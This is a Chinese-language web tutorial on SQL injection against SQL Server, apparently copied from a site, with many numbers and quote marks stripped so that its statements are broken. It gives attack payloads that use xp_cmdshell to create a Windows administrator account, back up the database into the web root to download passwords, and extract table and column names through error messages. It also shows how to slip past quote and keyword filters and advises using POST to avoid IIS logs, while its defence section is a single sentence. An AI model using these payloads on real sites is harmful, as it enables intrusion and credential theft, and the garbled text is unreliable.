第一節利用系統表注入SQLServer數據庫 SQLServer是一個功能強大的數據庫系統
與操作系統也有緊密的聯系
這給開發者帶來了很大的方便
但另一方面
也為注入者提供了一個跳板
我們先來看看幾個具體的例子
① ?id=
;exec master
xp_cmdshell
net user name password /add
分號;在SQLServer中表示隔開前後兩句語句
表示後面的語句為注釋
所以
這句語句在SQLServer中將被分成兩句執行
先是Select出ID=
的記錄
然後執行存儲過程xp_cmdshell
這個存儲過程用於調用系統命令
於是
用net命令新建了用戶名為name
密碼為password的windows的帳號
接著
② ?id=
;exec master
xp_cmdshell
net localgroup name administrators /add
將新建的帳號name加入管理員組
不用兩分鐘
你已經拿到了系統最高權限!當然
這種方法只適用於用sa連接數據庫的情況
否則
是沒有權限調用xp_cmdshell的
③ ?id=
;;and db_name()>
前面有個類似的例子and user>
作用是獲取連接用戶名
db_name()是另一個系統變量
返回的是連接的數據庫名
④ ?id=
;backup database 數據庫名 to disk=
c:\inetpub\wwwroot\
db
;
這是相當狠的一招
從③拿到的數據庫名
加上某些IIS出錯暴露出的絕對路徑
將數據庫備份到Web目錄下面
再用HTTP把整個數據庫就完完整整的下載回來
所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候
還可以備份到網絡地址的方法(如\\
xx
xx\Share\
db)
但成功率不高
⑤ ?id=
;;and (Select Top
name from sysobjects where xtype=
U
and status>
)>
前面說過
sysobjects是SQLServer的系統表
存儲著所有的表名
視圖
約束及其它對象
xtype=
U
and status>
表示用戶建立的表名
上面的語句將第一個表名取出
與
比較大小
讓報錯信息把表名暴露出來
第二
第三個表名怎麼獲取?還是留給我們聰明的讀者思考吧
⑥ ?id=
;;and (Select Top
col_name(object_id(
表名
)
) from sysobjects)>
從⑤拿到表名後
用object_id(
表名
)獲取表名對應的內部ID
col_name(表名ID
)代表該表的第
個字段名
將
換成
就可以逐個獲取所猜解表裡面的字段名
以上
點是我研究SQLServer注入半年多以來的心血結晶
可以看出
對SQLServer的了解程度
直接影響著成功率及猜解速度
在我研究SQLServer注入之後
我在開發方面的水平也得到很大的提高
呵呵
也許安全與開發本來就是相輔相成的吧
第二節繞過程序限制繼續注入 在入門篇提到
有很多人喜歡用
號測試注入漏洞
所以也有很多人用過濾
號的方法來
防止
注入漏洞
這也許能擋住一些入門者的攻擊
但對SQL注入比較熟悉的人
還是可以利用相關的函數
達到繞過程序限制的目的
在
SQL注入的一般步驟
一節中
我所用的語句
都是經過我優化
讓其不包含有單引號的
在
利用系統表注入SQLServer數據庫
中
有些語句包含有
號
我們舉個例子來看看怎麼改造這些語句
簡單的如where xtype=
U
字符U對應的ASCII碼是
所以可以用where xtype=char(
)代替
如果字符是中文的
比如where name=
用戶
可以用where name=nchar(
)+nchar(
)代替
第三節經驗小結 有些人會過濾Select
Update
Delete這些關鍵字
但偏偏忘記區分大小寫
所以大家可以用selecT這樣嘗試一下
在猜不到字段名時
不妨看看網站上的登錄表單
一般為了方便起見
字段名都與表單的輸入框取相同的名字
特別注意
地址欄的+號傳入程序後解釋為空格
%
B解釋為+號
%
解釋為%號
具體可以參考URLEncode的相關介紹
用Get方法注入時
IIS會記錄你所有的提交字符串
對Post方法做則不記錄
所以能用Post的網址盡量不用Get
猜解Access時只能用Ascii逐字解碼法
SQLServer也可以用這種方法
只需要兩者之間的區別即可
但是如果能用SQLServer的報錯信息把值暴露出來
那效率和准確率會有極大的提高
防 范 方 法 SQL注入漏洞可謂是
千裡之堤
潰於蟻穴
這種漏洞在網上極為普遍
通常是由於程序員對注入不了解
或者程序過濾不嚴格
或者某個參數忘記檢查導致
From:http://tw.wingwit.com/Article/program/SQLServer/201311/22006.html